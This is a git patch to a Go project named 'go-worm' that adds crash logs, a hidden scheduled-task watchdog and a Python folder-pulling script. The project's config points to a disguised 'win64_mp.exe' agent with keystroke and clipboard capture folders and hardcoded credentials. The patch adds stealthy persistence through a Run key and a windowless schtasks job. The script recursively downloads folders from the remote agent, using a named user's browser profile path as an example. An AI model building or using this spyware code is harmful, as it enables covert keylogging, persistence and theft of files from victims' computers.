From 36cb847f9e72287e123e91eba96c76eae837bca7 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Tue, 1 Sep 2026 20:04:20 +0300 Subject: [PATCH] feat(agent): add crash logs and watchdog startup - Recover panics to disk for diagnostics - Add 5-minute watchdog task with startup - Add -ensure flag to start detached agent - Add script to pull remote folder via API --- .gitignore | 2 + lib/config/config.go | 10 ++ lib/crashlog/crashlog.go | 58 ++++++++ lib/crashlog/crashlog_test.go | 38 +++++ lib/helpers/helpers.go | 2 + lib/instance/ensure.go | 9 ++ lib/openapi/spec.go | 4 +- lib/startup/startup.go | 11 +- lib/startup/watchdog.go | 43 ++++++ main.go | 24 ++- scripts/pull-folder.py | 265 ++++++++++++++++++++++++++++++++++ 11 files changed, 458 insertions(+), 8 deletions(-) create mode 100644 lib/crashlog/crashlog.go create mode 100644 lib/crashlog/crashlog_test.go create mode 100644 lib/instance/ensure.go create mode 100644 lib/startup/watchdog.go create mode 100755 scripts/pull-folder.py diff --git a/.gitignore b/.gitignore index 63367b4..f2e029d 100644 --- a/.gitignore +++ b/.gitignore @@ -34,3 +34,5 @@ desktop.ini *.swp *.swo *~ + +pulls \ No newline at end of file diff --git a/lib/config/config.go b/lib/config/config.go index 0c3370a..aa4f507 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -25,7 +25,9 @@ const ( AppDataDir = "win64_mp" InstalledExeName = "win64_mp.exe" KeylogSubdir = "keystrokes" + LogsSubdir = "logs" ClipboardSubdir = "clipboard" + WatchdogTaskName = "win64_mp_watchdog" DefaultKeylogRetentionDays = 7 AuthUser = "admin" AuthPass = "blueberries" @@ -67,6 +69,14 @@ func KeylogDir() (string, error) { return filepath.Join(base, KeylogSubdir), nil } +func LogsDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, LogsSubdir), nil +} + func InstallDir() (string, error) { base, err := os.UserConfigDir() if err != nil { diff --git a/lib/crashlog/crashlog.go b/lib/crashlog/crashlog.go new file mode 100644 index 0000000..542ae4c --- /dev/null +++ b/lib/crashlog/crashlog.go @@ -0,0 +1,58 @@ +package crashlog + +import ( + "fmt" + "os" + "path/filepath" + "runtime/debug" + "sync" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +var mu sync.Mutex + +// Recover logs a panic and re-raises after writing the crash file. +func Recover() { + if r := recover(); r != nil { + _ = write("panic", fmt.Sprint(r), debug.Stack()) + panic(r) + } +} + +// RecordPanic writes a recovered panic without exiting (e.g. HTTP handlers). +func RecordPanic(recovered any) { + _ = write("panic", fmt.Sprint(recovered), debug.Stack()) +} + +// RecordError writes a fatal error before exit. +func RecordError(err error) { + if err == nil { + return + } + _ = write("fatal", err.Error(), debug.Stack()) +} + +func write(kind, detail string, stack []byte) error { + dir, err := config.LogsDir() + if err != nil { + return err + } + mu.Lock() + defer mu.Unlock() + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + name := fmt.Sprintf("crash-%s.log", time.Now().Format("2006-01-02-150405")) + path := filepath.Join(dir, name) + body := fmt.Sprintf( + "time: %s\nversion: %s\nkind: %s\ndetail: %s\n\nstack:\n%s", + time.Now().Format(time.RFC3339Nano), + config.Version, + kind, + detail, + stack, + ) + return os.WriteFile(path, []byte(body), 0o600) +} diff --git a/lib/crashlog/crashlog_test.go b/lib/crashlog/crashlog_test.go new file mode 100644 index 0000000..3e98f0c --- /dev/null +++ b/lib/crashlog/crashlog_test.go @@ -0,0 +1,38 @@ +package crashlog + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func TestWrite(t *testing.T) { + base := t.TempDir() + t.Setenv("XDG_CONFIG_HOME", base) + t.Setenv("APPDATA", base) + + if err := write("test", "boom", []byte("trace")); err != nil { + t.Fatal(err) + } + dir := filepath.Join(base, config.AppDataDir, config.LogsSubdir) + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatal(err) + } + if len(entries) != 1 { + t.Fatalf("entries = %d, want 1", len(entries)) + } + data, err := os.ReadFile(filepath.Join(dir, entries[0].Name())) + if err != nil { + t.Fatal(err) + } + text := string(data) + for _, part := range []string{"kind: test", "detail: boom", "trace", config.Version} { + if !strings.Contains(text, part) { + t.Fatalf("log missing %q: %s", part, text) + } + } +} diff --git a/lib/helpers/helpers.go b/lib/helpers/helpers.go index afca981..da9a4fe 100644 --- a/lib/helpers/helpers.go +++ b/lib/helpers/helpers.go @@ -8,6 +8,7 @@ import ( "os" "sort" + "tea.chunkbyte.com/kato/go-worm/lib/crashlog" "tea.chunkbyte.com/kato/go-worm/lib/models" ) @@ -18,6 +19,7 @@ func RecoverHandler(next http.Handler) http.Handler { defer func() { if recovered := recover(); recovered != nil { Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered) + crashlog.RecordPanic(recovered) WriteError(w, http.StatusInternalServerError, "internal server error") } }() diff --git a/lib/instance/ensure.go b/lib/instance/ensure.go new file mode 100644 index 0000000..ccfa785 --- /dev/null +++ b/lib/instance/ensure.go @@ -0,0 +1,9 @@ +package instance + +// EnsureRunning starts a detached agent if none is holding the mutex. +func EnsureRunning() error { + if AlreadyRunning() { + return nil + } + return Detach() +} diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 2df29f5..2e568b2 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -216,14 +216,14 @@ func Spec() map[string]any { }, "/api/v1/startup": map[string]any{ "post": map[string]any{ - "summary": "Add agent to Windows startup", + "summary": "Add agent to Windows startup and a 5-minute watchdog task", "operationId": "enableStartup", "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), }), }, "delete": map[string]any{ - "summary": "Remove agent from Windows startup", + "summary": "Remove agent from Windows startup and the watchdog task", "operationId": "disableStartup", "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), diff --git a/lib/startup/startup.go b/lib/startup/startup.go index 5608f81..e381332 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -28,7 +28,10 @@ func Enable() error { return err } defer k.Close() - return k.SetStringValue(config.StartupValueName, command) + if err := k.SetStringValue(config.StartupValueName, command); err != nil { + return err + } + return enableWatchdog() } // SyncInstalledPath rewrites an existing Run entry to the AppData install path. @@ -50,9 +53,13 @@ func Disable() error { defer k.Close() err = k.DeleteValue(config.StartupValueName) if errors.Is(err, registry.ErrNotExist) { + _ = disableWatchdog() return nil } - return err + if err != nil { + return err + } + return disableWatchdog() } func installedCommandLine() (string, error) { diff --git a/lib/startup/watchdog.go b/lib/startup/watchdog.go new file mode 100644 index 0000000..6571392 --- /dev/null +++ b/lib/startup/watchdog.go @@ -0,0 +1,43 @@ +package startup + +import ( + "fmt" + "os/exec" + "strings" + "syscall" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func enableWatchdog() error { + exe, err := config.InstalledExe() + if err != nil { + return err + } + tr := fmt.Sprintf(`"%s" -ensure`, exe) + return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F") +} + +func disableWatchdog() error { + err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F") + if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") { + return nil + } + return err +} + +func runSchtasks(args ...string) error { + cmd := exec.Command("schtasks", args...) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.CombinedOutput() + if err != nil { + msg := strings.TrimSpace(string(out)) + if msg == "" { + msg = err.Error() + } + return fmt.Errorf("schtasks: %s", msg) + } + return nil +} diff --git a/main.go b/main.go index 5d54dbe..62d425f 100644 --- a/main.go +++ b/main.go @@ -13,33 +13,49 @@ import ( "flag" "tea.chunkbyte.com/kato/go-worm/lib/agent" + "tea.chunkbyte.com/kato/go-worm/lib/crashlog" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/install" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) func main() { + defer crashlog.Recover() + background := flag.Bool("background", false, "run without a console window") + ensure := flag.Bool("ensure", false, "start the agent if it is not already running") flag.Parse() if err := install.Ensure(); err != nil { - helpers.Log.Fatalf("install: %v", err) + die(err) + } + + if *ensure { + if err := instance.EnsureRunning(); err != nil { + die(err) + } + return } if *background { if err := instance.Detach(); err != nil { - helpers.Log.Fatalf("%v", err) + die(err) } return } a, err := agent.New() if err != nil { - helpers.Log.Fatalf("%v", err) + die(err) } defer a.Close() if err := a.Serve(); err != nil { - helpers.Log.Fatalf("%v", err) + die(err) } } + +func die(err error) { + crashlog.RecordError(err) + helpers.Log.Fatal(err) +} diff --git a/scripts/pull-folder.py b/scripts/pull-folder.py new file mode 100755 index 0000000..67f6e03 --- /dev/null +++ b/scripts/pull-folder.py @@ -0,0 +1,265 @@ +#!/usr/bin/env python3 +"""Pull a remote Windows folder via the win64_mp file API.""" + +from __future__ import annotations + +import argparse +import base64 +import json +import os +import sys +import urllib.error +import urllib.parse +import urllib.request +from pathlib import Path + +AUTH_USER = os.environ.get("AUTH_USER", "admin") +AUTH_PASS = os.environ.get("AUTH_PASS", "blueberries") + + +def win_join(parent: str, name: str) -> str: + parent = parent.rstrip("\\/") + name = name.replace("/", "\\").strip("\\") + if not name or name in (".", "..") or "\\" in name: + raise ValueError(f"bad entry name: {name!r}") + if parent.endswith(":"): + return parent + "\\" + name + return parent + "\\" + name + + +def norm_win(path: str) -> str: + return path.replace("/", "\\").rstrip("\\").lower() + + +def should_skip(remote: str, name: str, patterns: list[str]) -> bool: + remote_n = norm_win(remote) + name_n = name.replace("/", "\\").strip("\\").lower() + for raw in patterns: + pattern = norm_win(raw) + if not pattern: + continue + if "\\" not in pattern and ":" not in pattern: + if name_n == pattern: + return True + continue + if remote_n == pattern or remote_n.endswith("\\" + pattern) or remote_n.startswith(pattern + "\\"): + return True + return False + + +def split_skips(items: list[str]) -> list[str]: + out: list[str] = [] + for item in items: + for part in item.split(","): + part = part.strip() + if part: + out.append(part) + return out + + +def prompt(label: str) -> str: + try: + value = input(f"{label}: ").strip() + except EOFError: + sys.exit("no input") + if not value: + sys.exit(f"{label} is required") + return value + + +def prompt_optional(label: str) -> str: + try: + return input(f"{label}: ").strip() + except EOFError: + return "" + + +def base_url(raw: str) -> str: + raw = raw.strip().rstrip("/") + if "://" not in raw: + raw = "http://" + raw + parsed = urllib.parse.urlparse(raw) + if not parsed.hostname: + sys.exit(f"bad endpoint: {raw}") + port = parsed.port or 5032 + return f"{parsed.scheme}://{parsed.hostname}:{port}" + + +def local_root_for(win_path: str) -> Path: + name = win_path.rstrip("\\/").replace("/", "\\").rsplit("\\", 1)[-1] + if not name or name.endswith(":"): + name = "pull" + dest = Path("pulls") / name + dest.mkdir(parents=True, exist_ok=True) + return dest.resolve() + + +class Agent: + def __init__(self, origin: str) -> None: + self.origin = origin + self.auth = "Basic " + base64.b64encode(f"{AUTH_USER}:{AUTH_PASS}".encode()).decode() + + def request(self, path: str, query: dict[str, str], dest: Path | None = None) -> object | None: + qs = urllib.parse.urlencode(query) + url = f"{self.origin}{path}" + if qs: + url += "?" + qs + req = urllib.request.Request(url, headers={"Authorization": self.auth}) + try: + with urllib.request.urlopen(req, timeout=300) as resp: + if dest is None: + return json.load(resp) + dest.parent.mkdir(parents=True, exist_ok=True) + with dest.open("wb") as out: + while True: + chunk = resp.read(1024 * 1024) + if not chunk: + break + out.write(chunk) + return None + except urllib.error.HTTPError as err: + detail = err.read().decode("utf-8", "replace") + try: + detail = json.loads(detail).get("error", detail) + except json.JSONDecodeError: + pass + raise RuntimeError(f"{err.code} {path}: {detail}") from err + except urllib.error.URLError as err: + raise RuntimeError(f"connect {self.origin}: {err.reason}") from err + + def health(self) -> None: + body = self.request("/health", {}) + if not isinstance(body, dict) or body.get("status") != "ok": + raise RuntimeError(f"unexpected health: {body}") + + def list_dir(self, win_path: str) -> list[dict]: + body = self.request("/api/v1/files", {"path": win_path, "depth": "0"}) + if not isinstance(body, dict): + raise RuntimeError(f"bad list response: {body}") + entries = body.get("entries") or [] + if not isinstance(entries, list): + raise RuntimeError("list entries is not an array") + return entries + + def download(self, win_path: str, dest: Path) -> None: + self.request("/api/v1/download", {"path": win_path}, dest=dest) + + +def already_have(local: Path, size: object) -> bool: + if not local.is_file(): + return False + try: + return local.stat().st_size == int(size) + except (TypeError, ValueError): + return False + + +def pull( + agent: Agent, remote: str, dest_root: Path, rel: Path, skips: list[str] +) -> tuple[int, int, int]: + try: + entries = agent.list_dir(remote) + except RuntimeError as err: + print(f"skip dir {remote}: {err}", file=sys.stderr) + return 0, 0, 1 + + dest_root.joinpath(rel).mkdir(parents=True, exist_ok=True) + files_ok = 0 + files_skip = 0 + files_fail = 0 + for entry in entries: + name = str(entry.get("name") or "") + kind = str(entry.get("type") or "") + try: + child = win_join(remote, name) + except ValueError as err: + print(f"skip {err}", file=sys.stderr) + files_fail += 1 + continue + if should_skip(child, name, skips): + print(f"skip {child}") + files_skip += 1 + continue + if kind == "dir": + ok, skipped, fail = pull(agent, child, dest_root, rel / name, skips) + files_ok += ok + files_skip += skipped + files_fail += fail + continue + if kind != "file": + print(f"skip {child}: unknown type {kind!r}", file=sys.stderr) + files_fail += 1 + continue + local = dest_root / rel / name + if already_have(local, entry.get("size")): + files_skip += 1 + continue + print(f"{child} ({entry.get('size', '?')} bytes)") + try: + agent.download(child, local) + files_ok += 1 + except RuntimeError as err: + print(f" fail: {err}", file=sys.stderr) + files_fail += 1 + return files_ok, files_skip, files_fail + + +def self_check() -> None: + assert win_join(r"C:\Users\me", "docs") == r"C:\Users\me\docs" + assert win_join(r"C:", "Windows") == r"C:\Windows" + assert base_url("10.0.0.5:5032") == "http://10.0.0.5:5032" + assert base_url("http://10.0.0.5") == "http://10.0.0.5:5032" + cache = r"C:\Users\Larisa\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Service Worker\CacheStorage" + assert should_skip(cache, "CacheStorage", ["CacheStorage"]) + assert should_skip(cache, "CacheStorage", [r"Default\Service Worker\CacheStorage"]) + assert should_skip(cache, "CacheStorage", [cache]) + assert not should_skip(r"C:\Users\Larisa\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default", "Default", ["CacheStorage"]) + assert split_skips(["CacheStorage,GPUCache", "Code Cache"]) == ["CacheStorage", "GPUCache", "Code Cache"] + print("ok") + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Download a remote Windows folder via win64_mp") + parser.add_argument("endpoint", nargs="?", help="ip:port of the agent") + parser.add_argument("remote", nargs="?", help="absolute Windows folder path") + parser.add_argument("dest", nargs="?", help="local destination directory") + parser.add_argument( + "--skip", + "-s", + action="append", + default=[], + metavar="NAME", + help="folder name or path to ignore; repeatable, comma-separated ok", + ) + parser.add_argument("--self-check", action="store_true") + return parser.parse_args() + + +def main() -> None: + args = parse_args() + if args.self_check: + self_check() + return + endpoint = args.endpoint or prompt("Endpoint (ip:port)") + remote = args.remote or prompt("Windows folder path") + skips = split_skips(args.skip) + if not skips and args.endpoint is None: + skips = split_skips([prompt_optional("Skip folders (comma-separated, empty for none)")]) + origin = base_url(endpoint) + dest = Path(args.dest).resolve() if args.dest else local_root_for(remote) + dest.mkdir(parents=True, exist_ok=True) + + agent = Agent(origin) + print(f"checking {origin}/health") + agent.health() + print(f"pulling {remote} -> {dest}") + if skips: + print("skipping: " + ", ".join(skips)) + ok, skipped, fail = pull(agent, remote, dest, Path(), skips) + print(f"done: {ok} downloaded, {skipped} skipped, {fail} failures") + if fail: + sys.exit(1) + + +if __name__ == "__main__": + main()